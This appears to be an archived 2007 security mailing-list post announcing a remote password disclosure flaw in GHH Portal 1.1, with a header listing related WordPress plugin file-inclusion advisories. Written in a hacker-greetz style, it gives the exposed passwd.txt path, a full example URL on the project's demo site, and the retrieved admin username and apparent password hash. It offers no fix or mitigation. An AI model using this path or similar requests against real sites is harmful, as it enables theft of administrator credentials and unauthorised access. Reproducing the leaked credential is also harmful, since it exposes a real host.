Related information

Daily web applications security vulnerabilities summary (PHP, ASP, JSP, CGI, Perl)

[ECHO_ADV_81$2007] wordpress plugins wordTube <= 1.43 (wpPATH) Remote File Inclusion Vulnerability

[ECHO_ADV_82$2007] wordpress plugins wp-Table <= 1.43 (inc_dir) Remote File Inclusion Vulnerability

Sendcard  (sendcard. php) Sendcard Local File Inclusion Vulnerability

Wordpress plugin myflash <= V1.00  (wppath) RFI Vulnerability

From:	crazy_king_(at)_eno7.org <crazy_king_(at)_eno7.org>
Date:	02.05.2007
Subject:	GHH Portal 1.1 (passwd.txt) Remote Password Disclosure Vulnerability

By Cr@zy_King

crazy_king@eno7.org

Biyosecurity.Net & Expw0rm.Com

Thanks : Liz0 & DarkXBoyZ & Eno7 & ApAci & Uyuss & Crackers_Child & Th3_43k1R & Xoron & Ajannn

Portal : GHH

Wersion : 1.1

GHH Portal 1.1 (passwd.txt) Remote Password Disclosure Vulnerability

Demo : http://ghh.sourceforge.net/demo

Vuln : http://site.com/[patch]/passwd.txt

Admin Name & Password

Turkish HAcker | Special Thanks : str0ke

for example ;

http://ghh.sourceforge.net/demo/GHH%20v1.1%20-%20passwd.txt/passwd.tx
t

WebAdmin:aeM1x0Flw0jBU